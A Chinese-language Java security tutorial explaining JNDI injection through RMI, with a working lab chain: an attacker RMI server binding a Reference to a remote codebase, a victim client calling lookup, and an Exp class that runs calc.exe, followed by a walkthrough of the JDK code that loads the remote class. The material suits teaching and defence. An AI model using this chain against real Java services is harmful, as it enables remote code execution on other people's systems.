5-java安全基础——RMI和JNDI实现漏洞利用

实验环境：

jdk7u80

JNDI（Java Naming and Directory Interface，Java命名和目录接口）是一组在Java应用中访问命名和目录服务的接口，jndi可以实现给当前服务器的所有资源定义一个唯一的访问标识（例如数据库，网页，文件，连接池等等），方便开发者通过指定的标识来访问对象（目标资源文件，数据库等等）。

关于什么是标识符？可参考RMI注册表（4-java安全基础——RMI远程调用），例如在RMI中通过rmi://10.100.0.1:10086/userRmiServices来映射RMI注册表中的userRmiServices远程对象引用。

jndi提供了一些API接口来实现查找和访问各种命名和目录服务，主要关注以下两个类：

javax.naming.InitialContext;
javax.naming.Reference;

InitialContext类主要是用于构建jndi上下文环境的一些初始化工作，Reference类表示jndi中命名或目录服务中对象的引用。

initialContext类有一个lookup方法可以根据传入的标识获取命名服务所指向的对象引用，如果lookup方法的参数(jndi_uri可控的话，那么就可能会触发jndi注入。

public class JndiTest {
    public static void main(String[] args) throws NamingException {
        //指定RMI服务资源的标识
        String jndi_uri = "rmi://127.0.0.1:10086/test";
        //构建jndi上下文环境
        InitialContext initialContext = new InitialContext();
        //查找标识关联的RMI服务
        initialContext.lookup(jndi_uri);
    }
}

什么是jndi注入？如果RMI客户端中的 jndi_uri 变量可控，攻击者就可以可能通过篡改RMI客户端中 jndi_uri的值，把RMI客户端导向到其他地方并加载一个恶意的类来达到某种目的，这样客户端就有可能被攻击。

来看一个简单的jndi注入程序。

服务端充当攻击者：

public class RmiServerTest {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        //标识符
        String jndi_uri = "http://127.0.0.1:8081/";
        //注册中心
        Registry registry = LocateRegistry.createRegistry(10086);
        //标识符与与恶意对象关联
        Reference reference = new Reference("Exp", "Exp", jndi_uri);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        //将名称与恶意对象实体进行绑定注册
        registry.bind("Exp",referenceWrapper);
        System.out.println("RMI服务端已启动......");
    }
}

jndi通过会标识（http://127.0.0.1:8081/）与Exp类对象构造一个reference 对象引用，这就是jndi的命名服务的作用。

客户端充当被攻击者

public class RmiClientTest {
    public static void main(String[] args) throws NamingException {
        //指定RMI服务资源的标识
        String jndi_uri = "rmi://127.0.0.1:10086/Exp";
        //构建jndi上下文环境
        InitialContext initialContext = new InitialContext();
        //查找标识关联的RMI服务
        initialContext.lookup(jndi_uri);
    }
}

攻击代码：

import java.io.*;

public class Exp{
    static {
        try {
            //调用计算器
            Runtime.getRuntime().exec("calc.exe");
        }
        catch (IOException ex) {
            ex.printStackTrace();
        }
    }
}

使用javac命令将Exp.java文件编译成Exp.class文件，并将class文件放到web服务器下，这个web服务器会监听8081端口

先启动服务端，再启动客户端，可以看到客户端处成功调用了本地的计算器。

分析jndi注入+RMI漏洞利用流程：

首先服务端会根据恶意exp类与标识构造一个Reference对象引用，然后将这个恶意的Reference引用绑定到RMI注册中心，当客户端调用lookup方法获取Reference对象引用时，然后会加载Reference引用中指定的类，一般会先从本地寻找Exp类，如果找不到就会从Reference引用中指定的远程地址（http://127.0.0.1:8081/）中下载Exp类然后在本地加载该类，也就是说RMI客户端会再次跟远程地址建立tcp连接把Exp类下载到本地并加载。从监听的端口来看，客户端确实发送了一个http请求把Exp类下载到本地，然后在加载Exp类时就会执行静态代码块中的代码，调用本地的计算器。

当客户端的initialContext对象调用lookup方法时就会触发漏洞，我们来分析initialContext的lookup方法做了什么，如何触发漏洞？

public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

      在lookup方法内部中，getURLOrDefaultInitCtx方法会根据传入的标识名称返回一个URL上下文后，接着又调用了一个lookup方法。

跟进getURLOrDefaultInitCtx方法，调用了getURLScheme方法获取标识名称中的协议，也就是rmi，如果不为空接着调用了getURLContext方法获取url中rmi协议对象返回。

    protected Context getURLOrDefaultInitCtx(String name)
        throws NamingException {
        if (NamingManager.hasInitialContextFactoryBuilder()) {
            return getDefaultInitCtx();
        }
        String scheme = getURLScheme(name);
        if (scheme != null) {
            Context ctx = NamingManager.getURLContext(scheme, myProps);
            if (ctx != null) {
                return ctx;
            }
        }
        return getDefaultInitCtx();
    }

接着getURLOrDefaultInitCtx方法返回的url中的rmi协议对象会调用一个lookup方法

public Object lookup(String var1) throws NamingException {
        //获取ResolveResult对象
        ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
        //获取RMI注册中心
        Context var3 = (Context)var2.getResolvedObj();

        Object var4;
        try {
             //查找RMI远程调用对象
            var4 = var3.lookup(var2.getRemainingName());
        } finally {
            var3.close();
        }

        return var4;
    }

       getRootURLContext方法会根据rmi协议获取一个ResolveResult对象，这个对象包含两个内容：一个是RMI注册中心对象，另一个是RMI远程调用对象的名称，也就是exp。然后getResolvedObj是从ResolveResult对象中获取RMI注册中心对象，getRemainingName方法是从ResolveResult对象中获取RMI远程调用对象的名称，然后RMI注册中心调用了lookup方法根据传入的名称查找RMI远程调用对象名。

实际上是调用了RMI注册中心（RegistryContext）的lookup方法

    public Object lookup(Name var1) throws NamingException {
        if (var1.isEmpty()) {
             //如果名称为空，返回新的RMI注册中心
            return new RegistryContext(this);
        } else {
            Remote var2;
            try {
                //调用lookup方法
                var2 = this.registry.lookup(var1.get(0));
            } catch (NotBoundException var4) {
                throw new NameNotFoundException(var1.get(0));
            } catch (RemoteException var5) {
                throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
            }

            return this.decodeObject(var2, var1.getPrefix(1));
        }
    }

       实际上到这一步才真正的调用RMI注册中心的lookup方法，并在调用之前先解析RMI远程调用对象的名称，RMI注册中心会根据传入的RMI远程调用对象的名称查找对应的RMI远程调用对象的引用，也就是把ReferenceWrapper_Stub对象返回，此时var2就是ReferenceWrapper_Stub对象。

接着调用了decodeObject方法

	private Object decodeObject(Remote var1, Name var2) throws NamingException {
        try {
            //获取reference对象
            Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
            return NamingManager.getObjectInstance(var3, var2, this, this.environment);
        } catch (NamingException var5) {
            throw var5;
        } catch (RemoteException var6) {
            throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
        } catch (Exception var7) {
            NamingException var4 = new NamingException();
            var4.setRootCause(var7);
            throw var4;
        }
    }

        由于ReferenceWrapper_Stub对象实现了RemoteReference接口，这个接口有一个getReference方法，ReferenceWrapper_Stub对象也可以调用getReference方法获取reference对象，该对象主要有三部分：className，classFactory，classFactoryLocation。这部分也就是服务端中new Reference("Exp", "Exp", jndi_uri)中指定的要加载的类名，类工厂，远程地址，接着调用了getObjectInstance方法并将reference对象传给了参数refInfo。

getObjectInstance方法具体实现如下：

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
        ObjectFactory factory;

        // Use builder if installed
        ObjectFactoryBuilder builder = getObjectFactoryBuilder();
        if (builder != null) {
            // builder must return non-null factory
            factory = builder.createObjectFactory(refInfo, environment);
            return factory.getObjectInstance(refInfo, name, nameCtx,
                environment);
        }

        // Use reference if possible
        Reference ref = null;
        //是否为reference对象
        if (refInfo instanceof Reference) {
         //将reference对象赋值给ref
            ref = (Reference) refInfo;
        } else if (refInfo instanceof Referenceable) {
            ref = ((Referenceable)(refInfo)).getReference();
        }

        Object answer;
        //判断ref是否为空
        if (ref != null) {
             //获取reference对象中的工厂类
            String f = ref.getFactoryClassName();
            if (f != null) {
                // if reference identifies a factory, use exclusively
                 //工厂类不为空，获取对象引用
                factory = getObjectFactoryFromReference(ref, f);
                if (factory != null) {
                    return factory.getObjectInstance(ref, name, nameCtx,
                                                     environment);
                }
                // No factory found, so return original refInfo.
                // Will reach this point if factory class is not in
                // class path and reference does not contain a URL for it
                return refInfo;

            } else {
                // if reference has no factory, check for addresses
                // containing URLs

                answer = processURLAddrs(ref, name, nameCtx, environment);
                if (answer != null) {
                    return answer;
                }
            }
        }

        // try using any specified factories
        answer =
            createObjectFromFactories(refInfo, name, nameCtx, environment);
        return (answer != null) ? answer : refInfo;
}

      getObjectInstance方法内部调用了将reference对象赋值给ref，然后调用了getFactoryClassName方法获取reference引用的对象的工厂类名，也就是获取Exp类。如果工厂类名不为空则继续调用getObjectFactoryFromReference方法，

继续跟进getObjectFactoryFromReference方法

 	static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {
        Class clas = null;

        // Try to use current class loader
        try {
             //加载工厂类Exp
             clas = helper.loadClass(factoryName);
        } catch (ClassNotFoundException e) {
            // ignore and continue
            // e.printStackTrace();
        }
        // All other exceptions are passed up.

        // Not in class path; try to use codebase
        String codebase;
        //如果加载失败，则获取远程请求地址
        if (clas == null &&
                (codebase = ref.getFactoryClassLocation()) != null) {
            try {
                //远程加载工厂类
                clas = helper.loadClass(factoryName, codebase);
            } catch (ClassNotFoundException e) {
            }
        }

        return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    }

getObjectFactoryFromReference方法首先会在本地加载工厂类Exp，如果loadClass方法在本地没有找到该类就会调用getFactoryClassLocation方法获取远程url地址，如果不为空则根据远程url地址使用类加载器URLClassLoader来加载Exp类，并且在web服务器中确实有一个Exp类的http请求记录。

这里用到了反射的动态类加载机制，当Exp被加载到内存时会执行静态代码块里的代码，从而造成漏洞利用。

参考资料：

Java安全之JNDI注入